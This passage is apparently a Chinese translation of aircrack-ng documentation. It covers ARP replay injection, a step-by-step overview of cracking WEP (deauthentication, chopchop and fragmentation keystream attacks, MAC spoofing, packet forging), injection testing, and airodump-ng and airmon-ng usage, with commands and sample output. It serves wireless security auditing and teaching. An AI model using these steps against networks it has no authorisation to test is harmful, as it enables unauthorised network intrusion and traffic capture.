然后，当攻击开始以后，上面0的地方会开始显示实际数量。我们也可以用airodump-ng来抓取产生的IVs。屏幕会显示数量在迅速地增加。


第二个例子我们来重用上面捕捉的ARP，已经说过，ARP会被保存在文件名为”replay_arp-0219-123051.cap”的文件里。所以，有了这些ARP以后我们就不用再去等待新的ARP了，在命令后加上”-r”参数就可利用它们来产生了。




aireplay-ng -2 -r replay_arp-0219-123051.cap ath0


屏幕会显示




Size: 86, FromDS: 0, ToDS: 1 (WEP)

           BSSID  =  00:14:6C:7E:40:80
       Dest. MAC  =  FF:FF:FF:FF:FF:FF
      Source MAC  =  00:0F:B5:88:AC:82

      0x0000:  0841 0000 0014 6c7e 4080 000f b588 ac82  .A....l~@.......
      0x0010:  ffff ffff ffff 7092 e627 0000 7238 937c  ......p..'..r8.|
      0x0020:  8011 36c6 2b2c a79b 08f8 0c7e f436 14f7  ..6.+,.....~.6..
      0x0030:  8078 a08e 207c 17c6 43e3 fe8f 1a46 4981  .x.. |..C....FI.
      0x0040:  947c 1930 742a c85f 2699 dabe 1368 df39  .|.0t*._&....h.9
      0x0050:  ca97 0d9e 4731                           ....G1

 Use this packet ? y


输入”y”,就会开始注入




Saving chosen packet in replay_src-0219-123117.cap
You should also start airodump-ng to capture replies.

Sent 3181 packets...


同样，依然可以使用如下命令：




aireplay-ng -3 -b 00:13:10:30:24:9C -h 00:11:22:33:44:55 -r replay_arp-0219-115508.cap ath0


或者，也可以用airodump-ng来捕捉IVs。


用法提示


本地测试在产生一个ARP去初始化ARP注入的时候，可以ping一个网络上不存在的IP地址。


常见问题


参见这里 

提示信息’Read XXXXX packets (got 0 ARP requests), sent 0 packets…(0 pps)’ - 为什么没有发送任何包？ 

因为并没有ARP被广播到网络中，所以没有重播。如果aireplay-ng到不到包，它当然就不能重播。


交替攻击 

尽管这不是一个直接解决问题的方法，但是如果不能进行攻击或者没有接入点发出的ARP请求包，可以考虑使用交替攻击。



	-p 0841 method：这个方法会反复注入来自接入点的数据包产生IVs




其他 

参见aireplay-ng用法指导


流程图描述的WEP攻击

前言


其实在了解一系列概念之后，aircrack-ng是非常好用的。流程图就是为了帮助读者了解各种aircrack-ng攻击背后的概念。我们已经知道，先要用airodump-ng收集数据，然后才可以进行攻击。每一种攻击都要使用aireplay-ng，而它们的最终目的都是在网络中产生数据，其中最常见的就是ARP数据。看这篇文档需要我们对前面介绍的不同工具和攻击都相当熟悉，因为这是一篇描述它们如何工作的理论文档。本篇介绍将会告诉读者什么时候进行攻击，而不是如何使用命令。当然我们最终的目的都是破解一个简单的WEP网络。所以建议读者跟着流程图把每一步都走一遍，直到结束。




流程图


[image: 这里写图片描述]




各种攻击工具的介绍链接



	aircrack-ng

	aireplay-ng

	airodump-ng

	packetforge-ng




下面是对上述流程图的概括


读者需要仔细阅读流程图，找出下面的部分分别对应于流程图的什么地方。下面的顺序并不代表攻击顺序。


1.挑出所要攻击的接入点


运行airodump-ng命令，不带参数，就会显示我们可以接收到的所有接入点信息。选定以后，用下面的命令来获得接入点的信息。




airodump-ng -c 6 --bssid 11:22:33:44:55:66 -w output





  	参数
  	含义




  	-c 6
  	设定信道6，将此数改为接入点所在的信道。防止信道跳变



  	–bssid 11:22:33:44:55:66
  	设置BSSID以挑选出接入点，写上接入点的MAC地址



  	-w output
  	设定输出文件，数据会保存到output-##.cap中







2.保证驱动有攻击需要的补丁


不同的兼容问题参见下表





  	类别
  	链接




  	网卡
  	网卡的兼容性



  	驱动
  	驱动的兼容性



  	补丁
  	安装驱动







3.关联接入点


如果没有关联接入点，我们则需要关闭WPA/WPA2加密，或者保证自己关闭了MAC地址过滤。如果MAC地址过滤也没有关闭，那就要保证自己网的MAC地址在接入点的允许连接列表内。




4.客户端连接后，进行deauth或者ARP交互攻击


在客户端连接后，就可以用-3进行ARP交互攻击。此时程序会尝试获取ARP包，而在deauth攻击中，ARP会在我们攻击客户端时产生。通过deauth攻击，可以产生用于重注入的ARP，并因此在网络中产生数据。


5.接入点是否发出了数据包


为了破解该网络，接入点至少要发出一个数据包。这个包可以用来进行chopchop -4（解码或断续WEP数据包攻击）、fragmentation -5 （产生合法密钥流）、arpinteractive -3（互注入攻击）。如果接入点没有发送任何数据，可能说明并没有客户端同接入点进行连接。这时我们需要保持airodump-ng（带-w参数）运行着，等待一段时间看看。


6.产生XOR文件（chopchop或者fragmentation攻击）


破解的关键是产生数据，我们一般可以用第4阶段的方法产生数据。但有时候，并没有客户端连接到接入点，而接入点却在发送数据。这时，我们可以捕捉接入点发送的数据，用以产生XOR密钥流（一个文件，可以让我们在不知道秘钥的情况下仍然可以创建一个数据包）。与此相关的两种攻击是”fragmentation”和”chop-chop”攻击。 Fragmentation速度很快，但我们必须和接入点连接得非常好，而且它并不支持所有的网卡。”Chop-chop”一般会支持所有的网卡，但并不是在每一个接入点都有效。


7.Frag/Chopchop失败


对于framentation：多尝试一些接入点发出的数据包，将自己的MAC地址伪装成源地址。如果这些都没有什么作用，那么fragmentaion可能对这个接入点没有攻击效果。 

对于Chop-chop：我们需要跟接入点之间有非常好的连接。通常选取一些小一点的包（70byte），这样可以减少形成XOR密钥流所需要的包数目。（选取一些比较大的包通常会花费更长的时间，而且失败的风险更大）。



	必须和接入点建立关联

	如果侵入速度太快，有些接入点会采取一定保护措施，所以可以用-x来控制我们发送包的速度

	大多数接入点可接受每秒30-50个包（-x 30或-x 50）

	当我们的MAC地址和包的MAC地址不一样的时候，接入点可能会发现，所以需要根据包来伪装自己的MAC地址

	有一些接入点并不会正确地丢弃一些损坏的数据包，这样的接入点不适用chopchop攻击






8.XOR密钥流产生以后


拥有一个XOR密钥流，就意味着我们可以产生任何我们想要的数据包了，只要密钥流足够大。对于一个ARP包，70byte（通常接入点所产生最小的包的大小）的大小就可以了。然后我们就可以用packetforge来产生ARP包了。


9.用aircrack-ng处理收集的数据


如果一切进行顺利的话，我们会看见airodump-ng中的#/s和”Data”域攀升到一个非常大的数值。与此同时，我们可以开始用aircrack-ng来处理airodump-ng得到的.cap文件。可以使用通配符。如：




aircrack-ng output*.cap


这将会处理所有以output为前缀，以.cap为后缀的文件


10.注意一下情形



	驱动是否支持攻击

	关闭MAC地址过滤和WPA/WPA2加密

	接入点不产生数据，就需要等待或者自己产生

	fragmentation对接入点的距离非常敏感




注入测试

描述


注入测试用来判断我们的网卡是否能对接入点进行注入。也用来判断对接入点的ping反应时间。如果我们拥有两个无线网卡，则可以利用注入测试来判断哪一个网卡更适合用来进行注入攻击。


基本的注入测试也能提供其他一些有用的信息。首先，能为我们列出所在范围内，所有对广播探针有反应的接入点信息。其次，对于每一个接入点，它都会进行一个30个包的测试，用来判断连接质量。（连接质量衡量的是我们的网卡接收和发送测试数据包的能力）。接收到接入点反应数据包的百分比能够很好地衡量连接质量。


我们可以指定接入点名称以及MAC地址，这样就可以去测试一个特定的接入点，或者一个隐藏的网络。接下来，简单地说明一下注入测试的工作原理。


首先，程序将发送广播探针请求。这些请求会要求所有接收到请求的接入点都作出反应（当然，实际上并不是所有的接入点都会反应）。然后，所有做出反应的接入点会被罗列出来（通过beacon包识别的接入点也会被列入到上述列表之中），用于后续的测试。实际上，只要有任何一个接入点做出反应，屏幕上都会显示一条信息，来提示我们网卡可以用来进行注入测试了。


然后，对上述每个接入点，都会发送30个定向探针请求。对探针请求反应的数目及百分比会被显示出来，用来衡量我们是否能和某个接入点通信，以及同每个接入点进行通信的质量。如果指定了两个网卡，则会尝试每一种攻击模式，然后把结果显示在屏幕上。


注入测试还有一个功能，就是用来测试同airserv-ng的连接。一但基本测试完成，便开始通过和airserv-ng连接来进行标准测试。


用法




aireplay-ng -9 -e teddy -a 00:de:ad:ca:fe:00 -i wlan1 wlan0 


其中：



	-9 表示注入测试。完整形式是–test

	-e teddy 表示网络名称（BSSID），可选。

	-a 00:de:ad:ca:fe:00 ath0 表示接入点的MAC地址，可选。

	-i wlan1 是第二个网卡的接口名称。如果我们想判断网卡适合哪种攻击，这时这个接口将充当接入点接收数据包，可选。

	wlan0 是接口名称或者airserv-ngIP地址和端口数。这个接口用来发送数据。（例： - 127.0.0.1:666，强制参数） 

注意：在进行任何测试命令之前，必须用airmon-ng命令将网卡设置到monitor模式，和特定的信道。




用法实例


基本测试 

下面是一个最基本的测试，可用来判断网卡是否支持注入：




aireplay-ng -9 wlan0


屏幕会出现：




 16:29:41  wlan0 channel: 9
 16:29:41  Trying broadcast probe requests...
 16:29:41  Injection is working!
 16:29:42  Found 5 APs

 16:29:42  Trying directed probe requests...
 16:29:42  00:09:5B:5C:CD:2A - channel: 11 - 'NETGEAR'
 16:29:48  0/30: 0%
 16:29:48  00:14:BF:A8:65:AC - channel: 9 - 'title'
 16:29:54  0/30: 0%
 16:29:54  00:14:6C:7E:40:80 - channel: 9 - 'teddy'
 16:29:55  Ping (min/avg/max): 2.763ms/4.190ms/8.159ms
 16:29:55  27/30: 90%
 16:29:55  00:C0:49:E2:C4:39 - channel: 11 - 'mossy'
 16:30:01  0/30: 0%
 16:30:01  00:0F:66:C3:14:4E - channel: 9 - 'tupper'
 16:30:07  0/30: 0%


其中：



	16:29:41 wlan0 channel: 9 告诉我们正在使用的接口以及所在的信道

	16:29:41 Injection is working! 表明网卡可以注入

	16:29:42 Found 5 APs 通过广播探针或者beacons所搜索到的接入点

	16:29:42 00:09:5B:5C:CD:2A - channel: 11 - ‘NETGEAR’ 可以看到这个接入点在信道11而不是在我们的网卡所在的信道9上。相邻信道的溢出现象是很正常的。

	16:29:55 27/30: 90% for teddy 这是唯一一个网卡可以成功进行通信的的接入点。也从另一个方面证明了我们的网卡可以进行注入。可以看到，其他所有的接入点都是0%




隐藏或指定的SSID 

如果想要检查一个隐藏的SSID或者一个特定的SSID，需使用下面的命令：




aireplay-ng --test -e teddy -a 00:14:6C:7E:40:80 ath0


屏幕会显示：




 11:01:06  ath0 channel: 9
 11:01:06  Trying broadcast probe requests...
 11:01:06  Injection is working!
 11:01:07  Found 1 APs

 11:01:07  Trying directed probe requests...
 11:01:07  00:14:6C:7E:40:80 - channel: 9 - 'teddy'
 11:01:07  Ping (min/avg/max): 2.763ms/4.190ms/8.159ms
 11:01:07  30/30: 100%


这表明：网卡可以成功地注入并同特定的网络进行通信。


攻击测试 

这个测试需要两个处于monitor模式的网卡，跟在参数”-i”后面的网卡充当接入点：




aireplay-ng -9 -i wlan1 wlan0


其中：



	-9表示注入测试

	-i wlan1是模仿接入点的接口，用来接收数据包

	wlan0是注入接口 

屏幕会显示：






 11:06:05  wlan0 channel: 9, wlan1 channel: 9
 11:06:05  Trying broadcast probe requests...
 11:06:05  Injection is working!
 11:06:05  Found 1 APs

 11:06:05  Trying directed probe requests...
 11:06:05  00:de:ad:ca:fe:00 - channel: 9 - 'teddy'
 11:06:05  Ping (min/avg/max): 2.763ms/4.190ms/8.159ms
 11:06:07  26/30: 87%

 11:06:07  Trying card-to-card injection...
 11:06:07  Attack -0:        OK
 11:06:07  Attack -1 (open): OK
 11:06:07  Attack -1 (psk):  OK
 11:06:07  Attack -2/-3/-4:  OK
 11:06:07  Attack -5:        OK


分析：



	11:06:05 wlan0 channel: 9, wlan1 channel: 9 需要保证两个网卡处在相同的信道，否则会导致测试的失败

	输出的第一部分同前面的解释相同

	最后一部分表示wlan0的网卡能够进行所有种类的攻击

	如果attack 5是失败的，并不一定表示我们的网卡不能进行该种攻击。有可能是因为驱动的原因，可尝试一下将注入的MAC地址和当前网卡的MAC地址设置相同。




Airserv-ng测试 

运行Airserv-ng：




airserv-ng -d wlan0


屏幕会显示：




 Opening card wlan0
 Setting chan 1
 Opening sock port 666
 Serving wlan0 chan 1 on port 666


然后运行如下命令：




 aireplay-ng -9 127.0.0.1:666


其中：



	-9 表示注入测试

	127.0.0.1:666 是airserv-ng的IP地址和端口数，并不一定像例子中一样是本地回环地址，可以是任何IP地址




屏幕会显示：




 14:57:23  Testing connection to injection device 127.0.0.1:666
 14:57:23  TCP connection successful
 14:57:23  airserv-ng found
 14:57:23  ping 127.0.0.1:666 (min/avg/max): 0.310ms/0.358ms/0.621ms

 Connecting to 127.0.0.1 port 666...
 Connection successful

 14:57:24  127.0.0.1:666 channel: 9
 14:57:24  Trying broadcast probe requests...
 14:57:24  Injection is working!
 14:57:25  Found 1 AP 

 14:57:25  Trying directed probe requests...
 14:57:25  00:14:6C:7E:40:80 - channel: 9 - 'teddy'
 14:57:26  Ping (min/avg/max): 1.907ms/38.308ms/39.826ms
 14:57:26  30/30: 100%


分析：



	Connection successful 表示连接成功。一定要将两个网卡设置到相同的信道，否则容易导致测试失败

	第二部分同先前解释的一样






常见问题及解决方法


一般来讲



	保证自己使用了正确的接口名。对于mac80211驱动，通常是mon0；对于madwifi-ng驱动，通常是ath0。同样，需要注意不能有多个monitor模式接口，如mon0，mon1等。如果有，需要将它们都关掉，再重新进行测试命令。

	保证网卡都处在了接入点所在的信道上，并将其锁定。在将网卡置于monitor模式时，确保使用airmon-ng指定了信道。我们可以使用iwconfig命令来判断当前网卡处在什么信道上。

	要保证网卡没有处在信道跳跃的模式上。一个很常见的错误就是这样，让airodump-ng运行在跳跃的信道上。如果使用airodump-ng，一定要注意带上-c这个参数，来指定信道。

	最后，结束掉所有的网络管理员进程 （airmon-ng check kill）




错误信息”Network is down” 

如果对于Atheros的网卡，madwifi-ng的驱动，有类似于下面错误信息：




 aireplay-ng -9 -e teddy -a 00:14:6C:7E:40:80 -B ath0
 Interface ath0 -> driver: Madwifi-NG
 12:36:30  ath0 channel: 10
 12:36:30  Trying broadcast probe requests...
 write failed: Network is down
 wi_write(): Network is down


解决方法：将-B 比特选项从命令中移去。在madwifi-ng驱动下，使用该选项会有一些问题，虽然官方也正在解决这个问题，但在解决之前，我们都不能使用这个参数。


Airodump-ng显示了接入点但是它们没有反应 

注入测试使用的是广播探针请求，所以并不是所有的接入点都会对此反应。也有可能，我们离接入点的距离有些远，导致我们可以接收到接入点的信号，却不能将数据包发送到接入点。两种情况，都可以尝试换到其他的信道，或者尝试特定的SSID测试。


Airodump-ng命令

描述


Airodump-ng是用来抓包的，尤其适合为破解WEP收集IVs（初始向量），再用这些IVs来破解密码。另外，如果我们的电脑连接有GPS定位装置，那么airodump-ng则能够定位到它所找到的接入点的位置坐标。airodump-ng也能将接入点和客户端的信息写入文件中。




用法


在使用airodump-ng之前，我们可先用airmon-ng列出检测到的无线接口。另外，不建议同时使用Kismet和airodump-ng。




usage：airodump-ng <options> <interface> [,<interface>,...]
Options:
    --ivs                 : Save only captured IVs
    --gpsd                : Use GPSd
    --write      <prefix> : Dump file prefix
    -w                    : same as --write
    --beacons             : Record all beacons in dump file
    --update       <secs> : Display update delay in seconds
    --showack             : Prints ack/cts/rts statistics
    -h                    : Hides known stations for --showack
    -f            <msecs> : Time in ms between hopping channels
    --berlin       <secs> : Time before removing the AP/client
                            from the screen when no more packets
                            are received (Default: 120 seconds)
    -r             <file> : Read packets from that file
    -x            <msecs> : Active Scanning Simulation
    --manufacturer        : Display manufacturer from IEEE OUI list
    --uptime              : Display AP Uptime from Beacon Timestamp
    --wps                 : Display WPS information (if any)
    --output-format
                <formats> : Output format. Possible values:
                            pcap, ivs, csv, gps, kismet, netxml
                            Short format "-o"
                            The option can be specified multiple times.  In this case, each file format
                            specified will be output.  Only ivs or pcap can be used, not both.  
    --ignore-negative-one : Removes the message that says
                            fixed channel <interface>: -1
    --write-interval
                <seconds> : Output file(s) write interval in seconds




Filter options:
    --encrypt   <suite>   : Filter APs by cipher suite
    --netmask <netmask>   : Filter APs by mask
    --bssid     <bssid>   : Filter APs by BSSID
    --essid     <essid>   : Filter APs by ESSID
    --essid-regex <regex> : Filter APs by ESSID using a regular
                            expression
    -a                    : Filter unassociated clients

By default, airodump-ng hop on 2.4GHz channels.
You can make it capture on other/specific channel(s) by using:
    --channel <channels>  : Capture on specific channels
    --band <abg>          : Band on which airodump-ng should hop
    -C    <frequencies>   : Uses these frequencies in MHz to hop
    --cswitch  <method>   : Set channel switching method
                  0       : FIFO (default)
                  1       : Round Robin
                  2       : Hop on last
    -s                    : same as --cswitch

    --help                : Displays this usage screen


我们可以将 .cap或者 .dump文件转化为 .ivs文件，或者将他们合并。




用法指导


airodump-ng显示的每一项分别表示什么意思？ 

airodump-ng会显示出它所探测出的接入点，并且会显示与之连接的客户端（”stations”）。下面给出一个例子：




 CH  9 ][ Elapsed: 1 min ][ 2007-04-26 17:41 ][ WPA handshake: 00:14:6C:7E:40:80

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 00:09:5B:1C:AA:1D   11  16       10        0    0  11  54.  OPN              NETGEAR                         
 00:14:6C:7A:41:81   34 100       57       14    1   9  11e  WEP  WEP         bigbear 
 00:14:6C:7E:40:80   32 100      752       73    2   9  54   WPA  TKIP   PSK  teddy                             

 BSSID              STATION            PWR   Rate   Lost  Packets  Probes

 00:14:6C:7A:41:81  00:0F:B5:32:31:31   51   36-24    2       14
 (not associated)   00:14:A4:3F:8D:13   19    0-0     0        4    mossy 
 00:14:6C:7A:41:81  00:0C:41:52:D1:D1   -1   36-36    0        5
 00:14:6C:7E:40:80  00:0F:B5:FD:FB:C2   35   54-54    0       99    teddy


其中：



	CH  9 ]：当前的信道

	[ Elapsed: 1 min ]：已经运行的时间

	[ 2007-04-26 17:41 ]：当前日期

	[ WPA handshake: 00:14:6C:7E:40:80：在侦测到WPA/WPA2握手包的时候会显示，表示成功捕捉到接入点MAC地址为00:14:6C:7E:40:80的握手包 

在上面的例子中，”36-24”表示：


	第一个数字表示上一次从接入点到客户端的数据传输速率，即36Mbits/s


	第二个数字表示上一次从客户端到接入点的数据传输速率，即24Mbits/s

	这些速率在每一次包交换时都会改变，它仅表示最后一次的速率

	这些数字只有在锁定到一个信道时才会显示，接入点/客户端的传输率速作为客户端信息显示的一部分

	注意：只有超过一个包交换的接入点才会被显示 

各项详细的说明见下表：







  	数据项
  	意义




  	BSSID
  	接入点的MAC地址，在客户端部分，“（not associated）”表示客户端没有连接到任何接入点。在这种没有连接的状态下，它一直会搜寻接入点



  	PWR
  	网卡反馈的信号水平，它的数值是驱动决定的，但是离接入点或基站越近，信号数值就会变得越大。如果接入点的PWR是-1，则表示驱动不支持信号水平；如果部分station的PWR是-1，则表示网卡能接收到接入点的数据包，但是却超出了网卡的传输范围。这就意味着我们只能监听到1/2的信息交流。如果所有station都是-1，则表明驱动不支持显示信号水平



  	RXQ
  	接收质量，用过去100秒内成功接收到的数据包的百分比表示



  	Beacons
  	接入点发出的公告报文的数量，每个接入点每秒大概发送10个公告包（以最低的速率1M），所以通常相距较远时也能收集到它们



  	Data
  	捕捉到的数据包的数量（如果是WEP，则是不同IV的数量），包括数据广播包



  	/s
  	过去10秒每秒接收到的数据包数量



  	CH
  	无线信道（从beacon包中得到），注意：即使固定了信道，有时也会捕捉到其他信道的数据包，这时由于无线电干扰造成的



  	MB
  	接入点支持的最大速度。如果MB=11，就是802.1b，如果MB=22，就是802.1b+，更高的就是802.1g。如上图54后的小数点表示支持短前导码，11后面的e表示该网络支持QoS



  	ENC
  	表示使用的加密算法。OPN表示没有加密，“WEP？”表示不确定是WEP还是WPA/WPA2；WEP表示静态或者动态的WEP,TKIP或者CCMP表示WPA/WPA2



  	CIPHER
  	检测出的密码体系，CCMP,WRAP,TKIP,WEP,WEP40和WEP104中的一种。虽然不是必须的，但是TKIP通常用于WPA，CCMP常用于WPA2。当键字索引大于0时，会显示WEP40。（40位时，索引可以是0-3；104位时，索引需为0）



  	AUTH
  	使用的认证协议。GMT（WPA/WPA2 使用单独的认证服务器），SKA（WEP共享密钥） ，PSK（WPA/WPA2 预共享密钥），或者OPN（WEP开放认证）



  	ESSID
  	无线网络名称。也叫“SSID”，如果开启SSID隐藏模式，则此项为空。在这种情况下，airodump-ng会尝试通过探测响应和关联请求恢复SSID



  	STATION
  	每一个已连接或者正尝试连接用户的MAC地址，还没有连接上接入点的用户的BSSID是“not associated”



  	Lost
  	过去的10秒钟丢失的数据包数量



  	Packets
  	用户发出的数据包数量



  	Probes
  	用户探测的无线网络名称，如果还没有连接那么它是用户正尝试连接的网络名称







注： 

RXQ补充 

它测量的是所有的管理和数据帧，接收到的数据帧含有一串接入点添加的数字。RXQ=100表示所有从接入点发出的数据包都被接收到，没有丢失。我们假设现在RXQ=100，所有的10 beacons / s都能被接收，突然RXQ减小到90，beacons不变，这就说明接入点正在向一个我们不能监听的用户发送数据。另一件可能的事情是，我们用一个11MB的网卡来监听捕捉数据帧，并且与接入点距离很近，接入点被设置为54MBit。然后同样地，RXQ变小了，这时我们需要知道至少有一个54MBit的用户连接到了接入点。最后，RXQ列只有在固定信道的时候才会显示。


Lost补充 

此列表示丢失的来自用户的数据包，丢失数据包可能的原因有：



	我们不能同时发送和监听，所以每次我们发送数据包的时候，都不能监听到当时的数据包。

	也可能因为太高的传输功率导致数据包丢失（可能靠接入点太近）

	在当前的信道中有太多的噪声（其他的接入点，微波炉，蓝牙等） 

为了减少丢失的数据包数量，可以改变我们的物理位置、使用天线的类型、信道、数据速率和注入速率。




在捕获数据的同时运行aircrack-ng 

为了加速破解的时间，可在运行airodump-ng的同时运行aircrack-ng。这样就可以在捕捉数据的同时进行破解。Aircrack-ng会周期性地读取所捕获的数据，所以会一直利用所能利用的新IVs。


将数据捕获限定在一个接入点 

可以使用”– bssid”这个参数选项将数据捕捉限定在一个接入点。后面跟所选接入点的MAC地址。如：




airodump-ng -c 8 - -bssid 00:14:6C:7A:41:20 -w capture ath0


如何减少存储数据所需磁盘空间 

可以在命令中包含”–ivs”选项，如：




airodump-ng -c 8 - -bssid 00:14:6C:7A:41:20 -w capture - -ivs ath0


这样就会只存储IVs，而不是整个数据包。注意在以下两种情况下不适用：



	抓取WPA/WPA2握手包

	用PTW攻击WEP




如何选择所有以相似BSSID开头的接入点 

我们假定现在想捕捉所有BSSID以 “00:1C:10”开头的接入点。我们用”-d” / “–bssid”参数选项来表示我们需要匹配的BSSID，其他部分用0扩充；再用”-m”/”-netmask”参数选项来表示我们需要匹配的位置信息。如我们匹配以”00:1C:10”开头的BSSID，就需要以下命令：




airodump-ng -d 00:1C:10:00:00:00 -m FF:FF:FF:00:00:00 wlan0


如何选定特定的信道或者单个信道 

参数”–channel”(-c)可以让我们来选择单个或者特定的信道 

选择单个信道的例子：




airodump-ng -c 11 wlan0


对于在单个信道时需要重置的网卡：




airodump-ng -c 11,11 wlan0


选择一些特定信道：




airodump-ng -c 1,6,11 wlan0


包含客户端和接入点的文本文件 

每次运行airodump-ng命令时，如果带有写IVs或者完整数据包的参数，一些文本文档就会被创建并写道磁盘中。他们有相同的名称和后缀”.csv”(CSV文件)，”kismet.csv”(Kismet CSV文件)，”kismet.netxml”(Kismet新核netxml文件)。CSV文件包含有接入点和客户端的详细信息，可查看kismet官方文档获得详细信息，下面给出一个例子：




 BSSID, First time seen, Last time seen, channel, Speed, Privacy, Cipher, Authentication, Power, # beacons, # IV , LAN IP, ID-length, ESSID, Key
 00:1C:10:26:22:41, 2007-10-07 12:48:58, 2007-10-07 12:49:44,  6,  48, WEP , WEP,   , 171,      301,        0, 0.  0.  0.  0,   5, zwang,
 00:1A:70:51:B5:71, 2007-10-07 12:48:58, 2007-10-07 12:49:44,  6,  48, WEP , WEP,   , 175,      257,        1, 0.  0.  0.  0,   9, brucey123,
 00:09:5B:7C:AA:CA, 2007-10-07 12:48:58, 2007-10-07 12:49:44, 11,  54, OPN ,    ,   , 189,      212,        0,   0.  0.  0.  0,   7, NETGEAR,

 Station MAC, First time seen, Last time seen, Power, # packets, BSSID, Probed ESSIDs
 00:1B:77:7F:67:94, 2007-10-07 12:49:43, 2007-10-07 12:49:43, 178,        3, (not associated) ,




常见问题及解决方法


没有得到接入点或者客户端 

如果使用的是笔记本内置的无线网卡，需要确保它在bios中被打开或启动了。如果网卡在使用airodump-ng之前没有工作在managed模式，那就不是和airodump-ng相关的问题，需要先让网卡正常工作起来。可以参见这篇关于madwifi-ng的文章。尽管不是一种科学的方法，但有时候卸载和重新加载驱动会解决问题。需要使用rmmod和modprobe命令。


得到很少或得不到数据



	确保使用了”-c”或者”–channel”选项来选定一个具体的信道，否则airodump会在信道之间跳变。

	保证离接入点足够近

	保证网卡已经用airmon-ng开启了monitor模式 

对于madwifi-ng驱动的网卡： 

需要保证没有其他VAPs在运行，已经存在一个managed模式下的VAP时，再创建一个新的monitor模式的VAP可能会产生问题，我们应该先停掉ath0，然后启动wifi0：






airmon-ng stop ath0
airmon-ng start wifi0


或者：




wlanconfig ath0 destroy
wlanconfig ath create wlandev wifi0 wlanmode monitor


Airodump-ng在WEP和WPA之间变化 

这样的现象会发生是因为，网卡的驱动没有丢弃损坏的数据包（其中含有无效的CRC）。如果是ipw2100，那就没救了，可以换一张网卡。如果是prism2，可以尝试升级firmware。


Airodump-ng在一段时间后停止捕捉数据 

最常见的原因是一个连接manager正在系统运行，使网卡退出了monitor模式。所以我们在使用aircrack-ng套装中的命令之前，需要先停掉所有的连接manager。通常，禁止掉就应该可以了，但有时不得不将其停掉，则使用airmon-ng命令来完成：




airmon-ng check kill


现在的linux发行版使用upstart命令，它会自动地重启网络管理员。同样我们需要保证wpa_supplicant没有运行。还有一个可能的原因是电脑由于节约电能而休眠，此时需要检查电源选项。atheros芯片的madwifi-ng驱动（r2830）有一个bug会导致当网卡处于信道跳变模式时，停止捕捉数据。解决方法是使用r2834或以上版本的驱动。


隐藏的SSID”


 wlan.fc.type_subtype == 0 (association request)
 wlan.fc.type_subtype == 4 (probe request)
 wlan.fc.type_subtype == 5 (probe response)


当改变注入速率时，airodump-ng停止工作 

两种解决方法：



	在使用airodump-ng之前改变速率

	重启airodump-ng




错误信息：”fixed channel” 

如果airodump-ng显示的第一行信息类似于下面：




CH  6 ][ Elapsed: 28 s ][ 2008-09-21 10:39 ][ fixed channel ath0: 1


这表明我们在一个固定的信道上使用airodump-ng，然而有其他的一些进程正在改变信道。左边的”CH 6”是airodump-ng启动时所选的特定信道。 右边的”fixed channel ath0: 1”表示在启动airodump-ng时，使用了ath0接口，然而接口现在工作在信道1（而不是信道6）上。信道的变化还有可能是信道扫描造成的。


所以要解决这个问题，我们必须先要消除导致问题的原因，然后重启airodump-ng。以下是一些可能的原因，以及解决方法：



	“managed”模式上有多个接口，这些接口正在尝试搜寻和连接接入点。在使用aircrack-ng套装的时候，不要使用任何命令，进程，或者程序来连接接入点。

	其他的进程在改变信道。比较常见的一个原因是网络管理员。我们可以使用airmon-ng check来检查影响正常工作的进程，然后用kill或者killall命令来结束这些进程。如：使用killall NetworkManager && killall NetworkManagerDispatcher来消除网络管理员。

	如果我们使用的是madwifi-ng驱动，并且又创建了不止ath0这一个接口，那么驱动则有可能自动扫描其他接口。可以通过停掉除ath0以外的其它接口来解决这个问题。

	我们同时在运行wpa_supplicant，则需停掉wpa_supplicant

	在airodump-ng运行的同时，使用airmon-ng设定了信道

	运行了不止一个airodump-ng，并且被设定在不一样的信道

	还可能是我们不能使用该信道，如一个只支持信道1-11的网卡，我们却试图将其设定到13

	最后有一个bug也可能是导致问题的原因，参见[这里](http://trac.aircrack-ng.org/ticket/742




输出文件在哪 

运行了airodump-ng，但是却找不到输出文件了。首先，保证自己使用的命令会创建文件（即：使用-w或者-write加上文件的前缀名）。默认情况下，文件会在airodump-ng的运行目录中。可在使用airodumo-ng的时候，使用”pwd”显示当前路径。记录下这个路径，以便随后找到输出文件。可使用cd命令，直接到这个目录查看。


当然也有方法将文件输出到特定的目录当中，那就是在文件前缀名前加上绝对路径。例如：我们假设现在需要将文件输出到”/aircrack-ng/captures”中。那么首先我们需要创建这个文件夹（如果这个文件夹并不存在的话），然后使用的命令-w的部分应该是”-w /aircrack-ng/captures/< file prefix >”。


Airmon-ng命令

描述


airmon-ng用来实现无线接口在managed和monitor模式之间的转换。输入不带参数的airmon-ng命令，则会显示当前的接口状态。


用法




airmon-ng <start|stop> <interface> [channel]


或者：




airmon-ng <check|check kill>


其中：



	< start|stop >表示开启或者停掉某个接口（强制）

	< interface >指定接口（强制）

	【channel】将网卡设定到特定的信道（可选）

	< check|check kill > “check”会将所有影响到aircrack-ng工作的进程罗列出来，强烈推荐使用aircrack-ng套装的时候停掉这些进程。”check kill”会罗列并杀死影响aircrack-ng的进程。




用法范例


1. 查看各接口的状态：


~# airmon-ng
PHY Interface   Driver      Chipset

phy0    wlan0       ath9k_htc   Atheros Communications, Inc. AR9271 802.11n


2. 检查影响aircrack-ng的进程 

当我们将网卡置于monitor模式的时候，会自动地检查影响aircrack-ng的进程。也可以通过以下命令手动检查：




~# airmon-ng check
Found 5 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!

  PID Name
  718 NetworkManager
  870 dhclient
 1104 avahi-daemon
 1105 avahi-daemon
 1115 wpa_supplicant


3. 杀死影响aircrack-ng的进程 

以下命令会停掉network managers然后杀死所有影响aircrack-ng的进程：




~# airmon-ng check kill
Killing these processes:

  PID Name
  870 dhclient
 1115 wpa_supplicant


4. 开启monitor模式 

在开启monitor模式之前，需要关闭network managers（airmon-ng check kill）：




~# airmon-ng start wlan0
Found 5 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!

  PID Name
  718 NetworkManager
  870 dhclient
 1104 avahi-daemon
 1105 avahi-daemon
 1115 wpa_supplicant

PHY Interface   Driver      Chipset

phy0    wlan0       ath9k_htc   Atheros Communications, Inc. AR9271 802.11n
        (mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon)
        (mac80211 station mode vif disabled for [phy0]wlan0)


